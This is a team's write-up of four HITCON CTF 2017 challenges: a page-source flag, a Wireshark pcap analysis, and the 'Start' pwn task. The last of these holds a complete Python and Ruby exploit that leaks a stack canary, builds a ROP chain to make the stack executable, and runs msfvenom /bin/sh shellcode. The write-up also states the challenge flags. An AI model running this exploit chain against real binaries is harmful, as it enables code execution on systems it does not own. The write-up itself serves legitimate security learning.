We solved 4 challenges in this CTF.

Visual Acuity

Welcome to HITCON CTF 2017
Your flag is here:

Below the challenge prompt was a <div> with a very large letter h and presumably some other text. Inspecting the page source leads you to the flag.

Flag for Visual Acuity

The flag is hitcon{enjoy_our_adaptive_scoring_system}.

Data and Mining

My NAS is always busy…
traffic-1b2b39e2c2231e6b98c77700da047b78.pcapng

The provided file is a 230 MB pcap. Let’s download the pcap and open it in wireshark.

Wireshark pcap

The first thing to notice is that much of the traffic seems to be in a protocol called “IPA”. A quick google search reveals that “IPA” stands for “GSM over IP”. I don’t know anything about GSM over IP, but a closer inspection of the packet data reveals that this classification might be incorrect.

ipa packet

That looks like good ol’ HTTP to me. Wireshark has misclassified the protocol for these packets. Disable the IPA protocol by natigating to Analyze > Enabled Protcol.

disable ipa

This didn’t appear to have the desired effect for me. To really turn off IPA, go to Edit > Preferences and in the Protocols section, set the GSM IPA TCP port to 0.

disable ipa again

This causes wireshark to rescan the whole packet capture, which can take a while depending on your hardware. Now the packet capture should look something like this.

new packet capture

It’s now possible to follow the TCP streams and look for interesting data. To look at a particular stream, right click any packet > Follow… > TCP Stream.

follow tcp stream

The flag is found in stream 42, which can be filtered for with the expression tcp.stream eq 42. The flag is hitcon{BTC_is_so_expensive_$$$$$$$}.

BabyFirst Revenge

Do you remember BabyFirst from HITCON CTF 2015?
This is the harder version!
http://52.199.204.34/

Start

Have you tried pwntools-ruby?
nc 54.65.72.116 31337
start-7a3715a6bd61783850f9c109dbc57571.zip

Once connected, the server serving the server.rb script makes it clear that the start binary is hosted locally and that a ruby script must provided for it to run.

server.rb

Quickly looking over the server.rb script it seems to import the ruby port of the pwntools library - knowing this, let’s start reversing and creating an exploit for the start binary using pwntools, to hopefully later on send the script to the server.

A stack canary is put on the stack preventing us from conventional buffer overflows or similar things that tamper with the stack.

stack canary

Luckily there is a way to leak the canary abusing the puts() call. Reading in 24 characters and a newline char \n, puts() will print the canary except the last char which is overwritten by the \n. Luckily, the last char of the canary is a null-byte in this case so it won’t matter.

Once the canary is obtained, it is a simple matter of creating the exploit.There are likely multiple paths to success once we control the return address. I chose to go with mprotect() which is a syscall allowing us to overwrite permissions on the stack, making it executable. This is necessary, since the binary is protected by DEP/NX which marks the stack, and potentially other memory regions, as non-executable.

The function _dl_make_stack_executable is already present in our static binary. It is essentially a wrapper around the mprotect() syscall. Using this function the stack is made executable, a payload is generated with msfvenom and the exploit is mounted.

Here is the initial script I wrote in python (to be ported to ruby).

#!/usr/bin/python2.7

import sys
from pwn import *

# Payload
payload = "A"*24 + "\n"

r = process('./start')

r.send(payload)

r.recvline() #echo

canary = struct.unpack("<Q", "\x00" + r.recv()[0:7])[0]
print "Leaked canary: " + hex(canary)

payload2 = "exit\n" + "A"*19 + struct.pack("<Q", canary) + "A"*8

payload2 += p64(0x466c09) # 0x0000000000466c09: pop rsi; ret;
payload2 += p64(0x6cbfe0) # 00000000006cbfe0 <__stack_prot>
payload2 += p64(0x4005d5) # 0x00000000004005d5: pop rdi; ret; 
payload2 += p64(0x7) # RWX Flag
payload2 += p64(0x41881b) # 0x000000000041881b: mov qword ptr [rsi], rdi; ret;

payload2 += p64(0x4005d5) # 0x00000000004005d5: pop rdi; ret
payload2 += p64(0x6cbf90) # 00000000006cbf90 <__libc_stack_end>:
payload2 += p64(0x4768a0) # 00000000004768a0 <_dl_make_stack_executable>:

# JMP RSP
payload2 += p64(0x4a554f) # 0x00000000004a554f: jmp rsp; 

# msfvenom -f python -p linux/x64/exec CMD=/bin/sh --platform linux
buf =  ""
buf += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"
buf += "\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"
buf += "\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68"
buf += "\x00\x56\x57\x48\x89\xe6\x0f\x05"

payload2 += "\x90"*20 + buf

r.send(payload2 + "\n")

r.interactive()
r.clean()
r.close()

Once run a shell is obtained.

local shell

Porting to ruby was somewhat challenging, as I have little to no experience in ruby (although not much has to be changed). As far as I know, it is also not possible to make use of the interactive pipe in this case. Therefore, I chose to run single commands on the system eventually using cat to read the flag. I chose to re-write the script as a ruby one-liner although there are other ways to send it, through python sockets for example. This is the final ruby script sent to the server.

payload = "A"*24 + "\n" ;r = Sock.new '127.0.0.1', 31338 ;r.send(payload) ;r.recvline() ;canary = unpack("\x00" + r.recv()[0, 7], bits: 64, endian: 'little', signed: false) ;puts "Leaked canary: " + "0x" + canary.to_s(16) ;payload2 = "exit\n" + "A"*19 + p64(canary) + "A"*8 ;payload2 += p64(0x466c09) ;payload2 += p64(0x6cbfe0) ;payload2 += p64(0x4005d5) ;payload2 += p64(0x7) ;payload2 += p64(0x41881b) ;payload2 += p64(0x4005d5) ;payload2 += p64(0x6cbf90) ;payload2 += p64(0x4768a0) ;payload2 += p64(0x4a554f) ;buf = "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56\x57\x48\x89\xe6\x0f\x05"; payload2 += "\x90"*20 + buf; r.send(payload2 + "\n"); r.sendline('/bin/cat /home/start/flag'); puts r.recv()

And flag received!

flag

The flag is hitcon{thanks_for_using_pwntools-ruby:D}

[Back to Top]